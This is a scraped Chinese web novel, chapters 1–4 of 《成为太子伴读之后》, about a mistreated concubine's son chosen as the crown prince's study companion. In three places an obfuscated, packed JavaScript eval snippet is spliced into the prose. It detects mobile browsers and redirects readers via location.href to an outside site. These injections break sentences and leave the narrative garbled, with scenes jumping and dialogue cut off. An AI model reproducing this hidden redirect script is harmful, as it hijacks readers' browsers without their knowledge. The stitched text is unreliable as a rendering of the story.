《成为太子伴读之后》 1. 第 1 章 秋雨淅淅沥沥。 外面不知发生了什么事,街道上闹哄哄的,四处都有人大喊大叫,伴随着官兵们整齐有序的步伐声,一并穿透重重门墙的阻隔,钻入隋府的各个角落。 “走水了吗?” “官兵好像是在找什么人。” “不是因为那位去了吗?” …… 隋府的下人们小声嘀咕着。很快,他们大胆的言论便遭到了女主人严厉的责骂,于是,这方院落重新变得安静。 京城里大大小小的府邸大抵皆是如此。 西厢房的一角。 隋明朗乖乖巧巧地坐在屋檐下洗着衣裳,他想赶紧洗完,好在晚膳前再看会儿书。 衣裳不是他自己的,他的衣裳有人洗,可他母亲的衣裳却没有人洗,母亲身体不好,于是他便主动揽了这活计。 五岁的隋明朗,比寻常府邸里的同龄男孩要矮些,身体也更瘦弱,一双眼睛却是乌黑得发亮,脸上带着些许婴儿肥,肤白胜雪,五官精致,任谁看了都得忍不住感慨一句玉雪可爱。 “终于洗好了。” 小小的隋明朗站起身来,伸个懒腰,抱起洗衣用的木盆正要进屋,西面府墙处“咕咚”一声引起了他的注意。 循声望去,高大灌木丛的掩映间,一团黑影隐约可见。 隋明朗犹豫了下,暂时将木盆放到一边,从地上捡起一块石头。 小小的身躯微微猫着,蹑手蹑脚朝黑影所在的位置靠近——如果确认了对方是歹人,他就将石头狠狠地砸过去,然后高声呼喊下人们过来将其擒拿。 但,只一眼,隋明朗便明白,这不是歹人,更不是什么翻进府墙想要顺手牵羊的小贼。 这是一位少年。 对方大约比自己高半个头,看过来的眼神充满警惕,又极具威严,年纪分明不大,眉宇间却有种说不出的英气与气势,哪怕是嫡母最生气时的模样也不能与其相比。 与此同时,少年的衣服灰不溜秋,像在泥潭里滚过一般,早就看不出原本的颜色。 隋明朗不禁感到疑惑。 寻常人家养出来的孩子和府邸里养出的孩子是全然不同的,眼前的少年显然属于后者。可,既然如此,对方又怎么会孤身一人,如此狼狈地摔进自家后院呢? 难道,他在家中的处境与自己一样? 不,自己起码还有父亲母亲。 嫡母脾气不好,到底给他们留了饭吃。嫡兄虽然爱找麻烦,却实在不算聪明,很好应付。看少年眼下的模样,面临的情况说不定比自己糟糕多了。 隋明朗顿时生出几分同情。 他看着浑身已经湿透的少年,询问道:“你冷不冷?要不要吃点热食?” 半个时辰后。 少年坐在炉火前,手里捧着一盏热茶慢慢喝着,时不时拿起一块糕点放进嘴里,却依旧固执地穿着身上已被雨水完全浸湿的脏衣裳。 从被发现到现在,少年一句话也没有说,始终眼眸低垂,神色晦暗。 隋明朗心道:对方这个样子,恐怕是在家里遭遇了什么大事。 他朝窗外看了一眼。 周围没有任何人。 西厢房不受宠,分配的下人自然少,仅有的几人也常常偷懒,跑到别处去玩,不见人影。 正因如此,隋明朗才能将这个少年神不知鬼不觉地带进自己的房间。 不觉间,手中的热茶喝完了,少年往桌上一放,同时下意识地朝隋明朗看了一眼,示意他再倒一杯。 隋明朗完全没有接收到这个示意。 他从柜子里找出一罐药膏,放到少年手边:“你额头上的伤需要尽快处理,你自己擦擦药吧。我以前经常……这药膏是我父亲给的,效果可好了,抹上过一会儿就不疼了。” 闻言,少年望向手边的药膏,略略蹙眉,没有动作。 隋明朗见少年不动,想了想,心里思忖道:莫非对方连擦药都不会? 应该是了,要不然没道理受了伤还不擦药,那伤口看着挺疼的。 一个身份尊贵,习惯了前呼后拥的人,不会擦药似乎也是正常的。然而,却沦落到现下的地步。 隋明朗在心里为少年暗叹一口气,走上前道:“那你别动,我来帮你吧。” 隋明朗原本就经常给自己擦药,此刻又格外小心,上药时愣是没让少年感到疼痛。许是因为这个,擦到一半,当他再去用手指蘸药膏时,少年眼睛里的冷漠渐渐淡了。 再次靠近,少年主动开口:“你身上,什么味道?” “什么?” 隋明朗先是一愣,继而举起手臂闻了闻自己的袖口,脸红道:“可能是我之前坐在廊下洗衣服时沾上了泥土味儿,很难闻吗?那需要我先去换身衣裳吗?” “……” 少年神色冷淡道:“我是说,挺好闻的。” 隋明朗奥了一声。 “可能是皂角的味道吧,我母亲喜欢在洗衣用的皂角里加一点花粉——喏,就是这种小白花的花粉。它没有名字,也不起眼,但是很香的!也挺好看。” 少年望向隋明朗手中举起的那簇小白花。 微小、素淡,的确很难引人注目。 那个地方乃百花竞放之地,平凡的小白花注定不会进入任何人的视线,好比自己,今日之前从未留心过它们一眼,甚至不确定是否有这种花的存在。 但,似乎也不错。 隋明朗放下手里的小白花,正准备继续替少年擦药,外面忽然传来一阵高声疾呼。 “隋明朗!” “隋明朗你人呢!” “我知道你在院子里!” “是我兄长。” 隋明朗望向身旁陌生的少年,面上带有一丝焦急之色:“不能让他知道你在这儿,否则他一定会向我嫡母告状的,我先出去一下,你在这里等等。” 没等少年回应,房门打开又关上。 下一秒,隋明朗看见自己的嫡兄正站在走廊里,身后跟着的丫鬟刚刚收起伞,二人一并往这边走来。 隋明朗脸上摆出一副笑容,快步走过去相迎:“哥,你来找我有什么事吗?” “都说了好几次了,我不是你哥,你怎么还叫我哥?” 隋明轩板着一张脸,食指点了点隋明朗的肩膀:“还有,这间院子虽然是给你们住的,但不是你们的,它是属于我娘的院子,所以我想来就来,没事儿也可以随便过来,懂吗?” 隋明朗点点头道:“我懂的。” 隋明轩四下里看了一圈儿,目光鄙夷道:“你们这院子,还真是……跟我娘的丫鬟们住的地方差不多。春环,你说是吧?” 丫鬟春环笑道:“大公子,这二公子的生母本来就是一名丫鬟,还是府中不受宠的丫鬟。他们如今能住在这样的地方,已经是我们夫人心善的结果了。” 隋明朗抿了抿唇。 隋明轩抬着下巴道:“我来是想告诉你,父亲找了私塾先生,明日开始进府教我读书,看在你也姓隋的份上,允许你一起旁听。不过,你能有这个机会,是托了我的福,懂了吗?” 春环补充道:“夫人的意思是,既是托了我们的大公子的福,上课时带一双耳朵便够了,不要带嘴巴,否则——” “我懂的。” 隋明朗点点头。 读书。 他知道,这是改变母亲和自己命运的唯一机会。 只要读书,过些年参加科举,若是科举能够中榜,他不仅有机会为自己谋得一官半职,还能为整个隋府带来荣耀,届时,母亲就再也不必在府中仰人鼻息了。 就算只能听,不能问,肯定也比自己闷头学要快多了。 “好了,这是父亲让我告诉你的,现在该说的都说完了,你自己准备一下吧。” 说罢,隋明轩趾高气昂地转头离开。 春环也抛来一个不屑的眼神。 长得漂亮被老爷宠幸了如何,哪怕生下一个儿子又如何,找不准正确的主子,还不是只能任人欺凌,比下人都不如。 返回房间,隋明朗发现方才那位少年已经不见了,桌上只留有一张纸条——我走了。 字迹霸道,力透纸背,与少年给人的感觉一样。 真是个奇怪的人。 出现时奇怪,离开时也奇怪。 不过,隋明朗并未放在心上。 他从柜子里拿出一本书,半懂不懂地看下去,这是母亲从为数不多的月钱里,省吃俭用抠下来买给自己的,他一定得彻彻底底地学透了才行。 “天哪,房间里怎么这样脏。” “二少爷,外面下雨呢,您进房间时注意一点,不然打扫起来可麻烦了。” 负责伺候隋明朗日常起居的丫鬟玉溪,回来时看见房间里的情形,脸上很是不高兴地说道。 “知道了。” “劳烦你收拾一下,我去看书了。” 隋明朗捧着书坐到廊下,继续认真地阅读。 秋去又春来,一年年过去。 十岁的隋明朗,尽管脸上仍然稚气未脱,身高却已往上窜了一大截,眉眼间更是增添了几分俊秀。可以预见的是,要不了几年,他必定会长成一个极具风采、光耀京城的美少年。 坐在他对面的是位面色苍白的妇人。 她看起来不到三十,身材纤细。这种纤细不同于隋明朗给人以俊美漂亮之感的清瘦,而是一种身在病中的消瘦。 “我去看书了。” 陪母亲用完早膳,隋明朗起身说道。 “去吧。” 隋母叮嘱道:“读书是很重要,可是身体更加要紧,你要注意些,别累着自己。” 隋明朗笑笑:“放心吧,娘,我有分寸的。” 听见这个称呼,隋母的眉眼中涌出几分忧虑:“你在我面前不注意这些,在外人面前也会忘记。你好不容易因为努力读书,在你父亲那里得了几分好,若是被夫人知道你在私底下这么称呼我,她一定会拿着这个把柄责罚你,向你父亲告状。” 隋明朗垂下眼睛。 “知道了……姨娘。” 隋母这才点了点头:“去吧。” 隋明朗捧着书,坐在院中的凉亭里认真地阅读。 在这里待了不过半个时辰,便有不速之客降临——人高马大的隋明轩怒气冲冲地从远处而来。 “隋明朗!” “兄长找我有什么事?” 隋明朗暂时将书扣放在石桌上。 隋明轩质问道:“我昨天出去捞鱼那事儿是不是你跟父亲说的?害得我被父亲罚跪了整整一个时辰!” 隋明朗笑道:“兄长真是冤枉我了,我并不知道兄长未按时上课是因为出去捞鱼。再说,我同父亲告状有何好处?” “有何好处?” 隋明轩嗤笑道:“你巴不得看我被父亲责罚,还需要好处?说到底,你就跟你娘一样,都是我们隋府的耻辱。你以为你多读几本书就有用了?我告诉你,你再怎么讨好父亲,有那么低贱的母亲在——” 隋明朗的笑容渐渐变得僵硬。 他不软不硬地顶回去:“我的母亲就是你的母亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“二公子,夫人唤你去祠堂。” 隋府当家主母贴身嬷嬷的到来,打断了母子俩的对话。 “祠堂?” 隋母咳嗽了几声:“怎么就要去祠堂了?将春环发配到外院是大公子自己的主意。” “二姨娘。” 嬷嬷脸色不善道:“你这是在质疑夫人的决定吗?” 此话一出,隋母的脸上浮现恐惧之色,像是记起了什么可怕的回忆,但,想到自己的儿子,她张口道:“夫人的决定,妾身自然不敢质疑,只是——” 她一面说着,年长的嬷嬷一面靠近,似乎准备有所动作。 隋明朗上前一步,挡在母亲的身前:“嬷嬷,我终究是父亲的儿子,大夫人既然只要我去祠堂,你又何必要为难我姨娘,与我过不去?” 嬷嬷想了一下,后退半步:“奴婢可不敢为难二公子。二公子,请吧。” 隋府祠堂。 “明朗,我罚你,你可知错?” 隋府的当家主母姜惠英坐在椅子上,居高临下地望着跪在地上的少年。 隋明朗面上看不出任何情绪,垂眸道:“母亲想要管教儿子乃天经地义之事,儿子不敢有异议。只是,母亲所说的错,儿子的确不知,还请母亲示下。” 小小年纪,牙尖嘴利,难怪能讨得老爷的喜欢。 那个贱婢到底是走了什么狗屎运,只一次就生出了儿子,还是这样一个儿子。 念此,姜惠英愈发感到愤懑。 是的,隋明朗表现得越聪明,越挑不出错,她便越生气,越想找他的麻烦。 她冷哼一声:“嘴上说得好听,犯的错却不肯承认,看来是故意而为了。来人,上家法。” 隋明朗看着家丁拿来木棍。 他闭上了眼。 打吧,要怪就怪自己没能忍住。 好在嫡母不至于因为这种事就真把自己怎么样,无非挨顿板子,趴在床上也能看书,不会耽误事。 “慢着——” 隋文山匆匆从外面赶来,看着祠堂里的情景皱起眉:“夫人,发生了什么事?怎么就要动家法了?” “老爷,这事儿我原是不想禀报你的,免得叫你听了难过。如今,既然老爷知道了,我便说一说。” 姜惠英将自己从娘家带过来的丫头春环被发配到外院一事添油加醋地描述了一遍。 末了,姜惠英总结道:“他小小年纪便知道挑拨明轩和春环的关系,可见性子有多顽劣。若不严加管教,日后闹得家宅不宁事小,捅出更大的篓子事大。” 隋文山望向自己的小儿子:“明朗,对于你母亲所说之事,你可有什么要说的?” 隋明朗垂着头,面露犹豫。 自己若真在父亲前面据理力争一番,只怕自己和母亲今后的日子会更加不好过。 于是,他抬起头,看着自己的父亲道:“儿子知错,但凭母亲责罚。” 隋文山眼中蕴含一抹深色,片刻后才道:“那便罚十棍吧!夫人觉得如何?” 姜惠英不悦地拧眉,十棍实在太少,不过,想到此事若细究下去,自己未必多占理,何况施罚的家丁也是她从姜家带来的人,十棍足以叫隋明朗十天半个月下不了床,便道:“老爷是一家之主,一切自然由您说了算。” “开始吧!” 两名家丁将隋明朗架到一张长长的木椅前,令隋明朗趴于其上,另一名家丁则手握木棍走来。 木棍就要落在隋明朗的屁股上,有下人神色慌乱地跑进祠堂,打断了这场家庭教育。 “老爷,夫人,宫中有天使来了!” 2. 第 2 章 “天使?” 隋文山与姜惠英对视了一眼,不约而同地从对方眼中看到了迷茫。 隋文山只是个六品官,在权贵遍地的京城可以说是微不足道。他每日都能上朝,却因站得太过靠后,根本看不清圣上的面容。 为官十几年,也只有殿试的那一日,得到过近距离面圣的机会。 至于天使降临,单独为他宣旨,更是从未有过,甚至不敢去想的事。 家庭教育暂时中止。 隋文山率领整个隋府迎接天使,恭敬地听候宫中传来的旨意。 “奉天承运皇帝,诏曰——” “隋府二公子隋明朗,即日起为太子伴读,钦此。” 领头的太监宣读完毕,隋文山几乎不敢相信地愣在了原地,还是姜惠英提醒,他才回过神来,高声谢恩道:“臣领旨。” “二公子是哪位?” 宣读完正式的旨意,领头太监笑眯眯地询问道。 “明朗,快来见过天使。” 隋文山连忙叫出自己的小儿子。 隋明朗亦是感到不知所措,他强行镇定地拱手:“臣见过天使大人。” 领头太监望着眼前的少年哈哈一笑:“果真是个讨人喜欢的孩子。” 他摸了摸隋明朗的头,就像是在对待一位自家小辈,道:“好好收拾准备一番吧,和家人道个别,明儿一早,东宫那边自会派人过来接你入宫。” 宣旨太监们平静地离开了,却为本就不平静的隋府,掀起了更大的涟漪。 隋文山脸上掩不住的喜色:“给太子当伴读,这可是历朝历代出人头地的好机会。我朝的张相、王相、胡国公等人,都曾是伴读出身。” 姜惠英毫不客气地泼了一盆冷水。 “他们原本就出身高贵,历代先皇从各家府邸中千挑万选出来的,又身负才华,自然能步步高升。” “老爷,你可别忘了,也有伴读行为冒失,得罪了宫里的贵人,自己下场凄惨不说,还连累了整个家族。” 隋文山嗯了一声,踌躇道:“但这总归是条通往位及人臣的路。” 若是换作大儿子,他此刻只怕忧惧会多过惊喜,可小儿子不同,明朗随他,向来机灵谨慎,纵使做不到出人头地,应当也不至于惹出什么大祸……吧? 倒是有另一奇怪之处。 隋文山看向自己的小儿子:“明朗啊,你近来可与宫里的贵人见过面?” 隋明朗摇摇头。 他之前并不清楚太子伴读意味着什么,不过,眼下从父亲的反应中,已经隐隐约约有所察觉。 隋文山眉头拧到了一起:“是啊,连我都见不到,你一直待在府中,更不会有这样的机会。既然如此,圣上又怎么会知晓你的名字,特地点你入东宫做太子伴读呢?” 没人能回答这个问题。 姜惠英比其他人的情绪要更浓烈。 她忿忿地望向隋明朗。 这小子,怎么就得了进宫伴读的机会呢?!真是奇也怪哉! 十棍的责罚自然无法进行了。 若隋明朗因为受伤躺在床上,无法入东宫,保不得就有一顶抗旨不尊的罪名落下来,届时,整个隋府都要化为乌有。 想到这里,隋父甚至一阵后怕。 他道:“明朗,明日就要入宫了,宫门一入,不知何时才能回来。你先去将这件事同二姨娘说一声。” “谢父亲!” 隋明朗欢快地拱手,随即转身,跑着前去西厢房。 “老爷!” 姜惠英很是不满。 所有孩子都是正室的孩子,姨娘几乎等同于府中半个下人,这是自古以来的规矩。 至于真正的母子之情,私底下说说也就罢了,可如今,当着隋府这么多下人的面,老爷让隋明朗将当伴读的事情告诉一个姨娘,这不是摆明了说,二姨娘才是他真正的母亲么? 隋文山甩袖:“你们都下去吧!” 祠堂里的下人们纷纷告退。 隋文山神色严肃:“夫人,我知道,那件事是你心里的一根刺,说到底,这都是我的错,明朗他只是个孩子,并没有半点错。你不喜欢二姨娘,连带着不喜欢明朗,这些年我也没有过问。可如今不同,明朗入东宫当伴读——夫人明白这意味着什么吗?” 身为姜府嫡女,自小读书识礼,姜惠英自然不是蠢人。恰恰相反,在大多数时候,她这个当家主母,比隋文山要精明得多。 入宫伴读,便有了一朝登天的可能。 若真有那一日,倘若隋明朗记恨于她,即便不好直接做什么,也定有法子叫她日子不好过。 这还不是最差的。 毕竟,有宗族礼法在,隋明朗越是出人头地,就越要顾及名声。 最差的是,二姨娘向来体弱,若哪天病逝,隋明朗对他们夫妇二人没有父母亲情,反将此事怪罪到他们身上,身在东宫,每日服侍着这世上最尊贵之人,他完全有能力拉着整个隋府给他陪葬。 姜惠英终于从心底生出恐惧。 “老爷,等会我便去请个好郎中,仔仔细细地为二姨娘看诊,务必将她的身体给调养好。” “辛苦夫人了。” 隋文山大感欣慰,将爱妻拥入怀中:“得妻如卿,夫复何求。” 西厢房。 听完儿子的叙述,隋母的眼中充满担忧:“我虽是妇人,却也听过伴君如伴虎这句话。一入宫门……能否同你父亲商量商量,咱们就不去了?” “娘,这是圣旨,哪有商量的余地?即便父亲也只能遵从。更何况,我自小读书,志在科举,日后做了官,也是为陛下做事。除非永远甘愿困在隋府之中,否则,这伴君如伴虎一事,总是免不了的。” 仔细宽慰了一番,隋明朗总算使母亲心中的顾虑消减不少。 晚膳时,隋府举办了一场家宴。 宴上,姜惠英心中并不情愿,却不得不主动示好:“明朗,母亲方才亲自为你收拾好了行李,你等会去瞧上一瞧,若觉得还有什么短缺的,只管说出来,母亲一定连夜为你备好。你明日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103263|163822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入东宫,我们隋府在京中虽不是富贵人家,不比那些达官显贵,也绝不会缺了你读书之物。” 隋明朗起身拱手:“多谢母亲。” 瞥了眼一旁的二姨娘,姜惠英终究是没忍住,道:“二姨娘,你在隋府有生育之功,如今,二公子又要入宫当太子伴读,伴在殿下身边,你还是一副唯唯诺诺的下人模样,岂不是在丢二公子的脸?在丢我们隋府的脸?” 二姨娘闻言连忙起身行礼:“贱妾知罪,求夫人宽恕。” 姜惠英摆摆手说一声罢了。 “你贱籍出身,这么多年了,也不是一朝一夕就能改掉的。” “我已命下人去请了春晖堂的郎中来府上,一会儿用完晚膳,仔细替你瞧瞧,先把病气去个干净,再谈别的。” 二姨娘再次行礼:“谢夫人。” 晚膳结束之后,隋文山又留下自己的小儿子,道:“你母亲的性子,想必你也早已摸清了,她素来要强,最好脸面,实则刀子嘴豆腐心。倘若她对你和你的生母……别往心里去。” “儿子明白。” 隋文山又道:“你母亲当年因着嫁我一事,和姜府算是闹翻了。可今儿下午,为着你进宫,她特地又去找了她娘家的姐姐,对方曾在宫里走动过数次,知道一些关于太子殿下的事情。” 隋明朗缓缓睁大眼睛。 说到这儿,隋文山压低声音,忧心忡忡地道:“许是因为年幼丧母的缘故,听说,太子殿下性情偏执狠戾,打死过不少宫人,甚至……你素来周全,可为父还是忍不住要多交代几句,你入东宫之后,说话做事前务必要思虑再三,万不可去触殿下的眉头。俗话说,天子一怒,伏尸百万,这句话放在太子殿下身上也是一样的。若是不慎开罪了殿下,不仅你一人遭殃,我们隋府上下几十口人,乃至于云县老家的族人,都要性命不保。” “孩儿必定小心谨慎。” 隋文山点点头。 明朗自小早慧,聪明懂事,无论性格还是样貌,都比明轩像自己像多了。只不过,夫人从姜府带回的消息实在令人感到心惊,乃至于一时之间,他不知小儿子入东宫当伴读一事究竟是喜是忧了。 隋文山又道:“明日估计东宫天不亮就会派人过来,你去看一下你母亲为你准备的东西,就早点歇着吧。” 毕竟是去做东宫伴读,姜惠英可谓是将隋府最好的东西都拿了出来,甚至连她的嫁妆也不吝惜。从衣帽鞋袜到生活起居之物,再到读书所用的文房四宝,没有一样不仔细的。 这样的示好,还是来自于嫡母,隋明朗着实感受到了一丝受宠若惊。不仅仅是自己,就连生母都得到了眷顾。 此时此刻,他已然对这位素未谋面的太子,生出了几分感激之情。 同时,隋明朗也更加意识到,自己被选作东宫伴读的含义。他必须要谨慎再谨慎,绝不能连累到隋府。 隋明朗在睡眠方面素来很好,怀揣着心事,他还是很快就睡着了。 次日一早,天刚蒙蒙亮。 东宫的人来了。 3. 第 3 章 “这就是殿下伴读的府邸?” 站在隋府门口,为首的一名掌事太监淡淡地瞥了一眼府门之上的“隋府”二字,道:“也对,一个六品小官,在这繁华的京中,自然住不了什么像样的地方。” 身后一群太监连连附和。 隋府大门开启。 隋文山走上前,他在掌事太监的面前微微躬着身,掏出一小袋银两塞过去:“大人辛苦了。犬子年纪尚小,日后难免会有不周到之处,入了东宫,还望大人多多照顾。” 领头太监瞥了一眼,心道:就才这么点儿,果真是小门小户,竟以为宫里和外面是一样的么? 他勉勉强强收下,捏着嗓子道:“照顾可谈不上。东宫不比其他地方,一个人进去是福是祸,全看殿下的心意。其他的,不管你是打哪来的,背后站着什么人,都一样,谁也照顾不了谁。” “是,公公说的是!” 隋文山陪着笑连连称是,道:“太子殿下自然是东宫唯一的主子。明朗,你一定要谨记公公的教导,入宫以后,务必事事以服侍好殿下为先!” 隋明朗拱手说是。 “那,这便走吧!” 领头太监手一抬,示意隋明朗上轿。 隋明朗往轿子走去,走了几步,他忍不住回头,望向自己的母亲。 隋母强作镇定,抑制住心里的种种担忧与已经抵达眼眶的泪水,笑着看向自己的儿子,让他安心地入宫。 “去吧。” 她张口无声地说道。 隋明朗继续往前走。 很快就上了轿,掀开车帘,坐进去之前,隋明朗再次回头看了一眼,这次看的是父亲。 隋文山见自己的小儿子停住动作,连忙隔空将手掌往前推,示意他赶紧进去,免得有所耽搁,误了进宫的时辰。 眼中既含忐忑,又藏期待,加之挺直如松的后背,显出很多严肃。偏偏檐下雨水趁机落到了他伸长的手臂上,顺着淌进中衣,他竟也浑然不知。 一旁,姜惠英的眼神则最为复杂。 她自然不想隋明朗在东宫惹祸,为此不惜主动拉下脸去找娘家的姐姐询问事宜。但,于她,于她的明轩而言,这个贱婢生出来的儿子,究竟是得太子殿下的青眼好,还是不得好呢? 她也不知道。 隋明朗坐进了轿子。 正值晚秋,多雨的时节。 隋明朗入轿的同时,天空淅淅沥沥下起了雨,虽不大,却不知后续雨势,抬轿的人不由加快脚步。 透过车帘,隋明朗目视着整座隋府在雨水中变得越来越小,直至再也看不见了。 东宫。 东宫原名永昌宫,因位于皇宫以东,得东宫之名。永昌宫又分南、中、北三座院落,大衍朝以南为尊,是以太子居于南苑,北苑则是东宫的太监宫女们衣食住行,为贵人忙活奔走的地方。 至于中苑,其间的大部分宫室常年闲置,如今随着伴读们入宫陪太子读书,便都被安排了进来。 隋明朗牢记父亲的交代,一路万分谨慎低调地跟在东宫太监身后,乃至于显出很多拘谨。 途中,他数次感受到有不同的目光落在自己身上,却不敢偏头回望,亦不敢左顾右盼,而是始终规规矩矩地,头颅与目光微垂着往前走。 最终,隋明朗被带到了一间宫室前。 “周围几间闲置的宫室已被提前打扫好,用作伴读所,这一间便是你的。” “其他伴读都已住进来了,你若是实在闷得慌,出去逛逛,与他们认识一番并无不可,只是切记:最远绝不可离开这座中苑,若是不得召见误闯了殿下的住所,届时不止你自己,你的全族或许都要遭受牵连,明白了么?” 领头太监交代道。 隋明朗抱拳躬身道:“谨记公公的教诲。” 领头太监点点头。 他一抬手,后面几位低等太监纷纷上前,将隋明朗的行李放入宫室之内。 这个隋府,听都没听过,而且从父亲到儿子都一副没见过世面,憨憨傻傻的样子,显然不可能得到殿下的青眼。把时间花在这样的人身上,真是浪费时间。 “哼,姓杨的东西,小人得志,待我得了殿下的赏识,非将你罚去刷恭桶不可!” 他在心里暗骂道。 东宫的几个高等太监,每人负责领一位伴读入东宫,自己负责的显然是最差的——这其实在他意料之中,谁叫他与姓杨的向来不对付,而不久前姓杨的又成了南苑广阳殿的高等公公呢? 众太监离开以后,隋明朗这才抬头,认真地打量起这间拨给自己居住的宫室的模样。 深秋,加之下着雨,衣着单薄的他在来时路上已明显感受到了寒意,然而一进宫室,寒意便统统消失不见了。 还未入冬,这里便已烧起炭火,当真是奢侈啊——不对,整间宫室哪有半点炭火的痕迹啊? 隋明朗不由眨了眨眼。 这便是传说中的地龙么? 听说京中极其显贵的人家,冬日里连最上好的金霜炭的味道也是嫌弃的,他们府邸中的大堂与少数厢房在地面以下有精巧的设计,名曰地龙,使房室不仅在严寒的冬日温暖如春,且闻不到半分炭烧味。 最显赫的人家,也只有少数房室底下建有地龙。而东宫不愧是东宫,连太子殿下根本不会踏足的地方,在这尚未入冬的时节,都已使用起了它。 反观隋府,即使是父亲的书房与嫡母的厢房,冬日也不过是烧银骨炭罢了。至于他们西厢房,只能分得一些花灰炭。 隋明朗并不羡慕,更不嫉妒,而是暗下决心:有朝一日,自己也定要让母亲用上——纵然无法使用地龙这样的东西,至少也要用得上金霜炭。 “你就是最后一名伴读了。” 隋明朗刚刚将自己的行李整理好,便有两名华服少年收了伞,走了进来。 率先说话的这人穿着一身青衫,望向隋明朗的眼神大大方方,毫不避讳。他主动抱拳,身体微微前倾,笑道:“在下方绍元,京城守备之子。你呢?” 京城守备从三品,这样的品级在京中本不算高,却因握有兵权,且同胞妹妹乃宫中丽妃,使他的嫡子行走在东宫之中也足以昂首挺胸。 隋明朗抱拳回应道:“我叫隋明朗,家父是六品京官。” “六品官的儿子,居然也能给太子殿下当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103264|163822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伴读么?” 另一名紫服青年不禁感到疑惑,他下意识地瞄了一眼身旁的青衣少年,随后抱拳道:“宁为远,父亲乃是宗人府丞,从三品。” 隋明朗于是也冲他抱拳。 心中思忖道:从三品已是相当大的官了,怎么这紫服少年倒还像是跟随着青衣少年似的?京城守备该是几品的官职呢? 大衍的官职体系,等到正式陪太子殿下读书,授课的先生应该也会告诉他们这些吧? “你长得真漂亮。” 方邵元望着隋明朗笑道:“一个男娃娃,居然比我妹妹还漂亮。” 第一次听到这样的话,还是从一个地位比自己高许多的同龄人嘴里说出来的,隋明朗一时有些不知所措。 方邵元见状哈哈一笑:“你不用紧张,我可没有那方面的爱好。” 隋明朗没听懂。 那方面的爱好?什么意思? 方邵元又道:“我今年十三岁,宁为远也是十三岁,你呢?” 隋明朗如实道:“十一岁。” 方邵元点点头:“你是所有伴读里年纪最小的。” 隋明朗眨了眨眼。 “看你这样子,估计什么也不知道,我给你介绍介绍吧。” 方邵元热情地说道:“这次入选的伴读,算上你,一共有六个人。年纪最长的叫崔嘉瑞,十五岁,按理说已过了当伴读的年纪,不过他父亲乃是户部尚书,从一品,又与当朝丞相交好——” 宁为远闻言皱了皱眉。 方邵元继续道:“崔嘉瑞虽说年纪长了些,但性格不错。倒是有另一人你需注意,安弘毅,他的母亲是清平郡主,父亲是国公。因为出身显赫,又时常在宫中走动,故而性格倨傲,你见了他可千万不能招惹。” 一旁,宁为远终于忍不住出声道:“邵元。” 在背后如此评价郡主之子,还是对着一个刚认识的人,未免太不谨慎了。 方邵元不以为意:“最后一名伴读叫李奇承,也是十三岁,他的父亲是中远伯。我、宁为远、李奇承,都与殿下一般年纪。” 说到殿下二字时,方邵元双手抬高,表示尊敬。 听方邵元介绍完所有伴读,隋明朗抱拳躬身作感谢的同时,心底又泛起疑惑——富贵人家的子弟都如此“热情”吗?初次见面,便将这里的情况倾囊相告。 一个郡主、一个伯爵、一个从一品、一个从三品,还有一个暂不知品级的京城守备,这就是除了自己以外的,其余五位伴读的家世。 “所以,我有些好奇。” 方邵元询问道:“圣上为何会选你入宫当太子殿下的伴读呢?莫非有贵人相助?” 原来是为了问这件事。 隋明朗轻轻摇头:“我也不清楚。或许,是皇恩浩荡,圣上特地予我这样的人一些机会。” 话是这么说,他脑海中却浮现起五年前遇到的那位少年。 这么久过去,少年的面容早已变得模糊不清,然而,对方当日举手投足间流露的气质与气势,仍旧印在他的记忆之中。 若说贵人,那少年绝对是他生平所见最尊贵的人。算算年纪,似乎…… 4. 第 4 章 “这样么?” 方邵元眼中闪过一抹疑惑之色。 这隋明朗年纪小不说,眼神也懵懵懂懂的,看起来实在不像是个擅于说谎的。 但,母亲从丽妃娘娘那里得到消息:此次入宫的六名伴读中,五名是圣上从丞相草拟的名单中挑出来的,一名是太子殿下亲自指定的。 当时圣上看着名册挑人的时候,丽妃娘娘就在旁边,此事不会有假。 以隋明朗的家世,根本入不了丞相草拟的名单,所以被太子殿下亲自挑选的伴读一定就是他。 只是,太子殿下挑人总该是有某种缘由的,若说殿下挑的是一名从未见过的人,他又感到难以相信。 不过,听闻太子殿下性情古怪,或许也不无可能? 宁为远朝高处抱拳,神色恭敬道:“圣上向来体恤臣民,想必就是这个原因了。” 话音刚落,外面便传来咯咯的笑声:“你们都聚在这儿,好热闹啊。” 隋明朗闻声望去,只见一位身着月白色衣衫的少年走了进来。他衣饰华贵,腰间挂着数枚价值不菲的玉佩,走起路来昂首挺胸,一副骄傲不羁的模样。 “怎么我来了,你们就都不说话了?难道是对我有什么成见?” 少年不太高兴地问道。 方邵元瞧着他的腰间,笑道:“弘毅,听说你母亲得了一块上好的和田玉,又去灵云寺请高僧开了光,不知可否让我们开开眼界?” 因为姨母在宫中当妃子,方邵元数次出入皇宫,和安弘毅勉强算是认识。 “是啊,母亲将它给了我。” 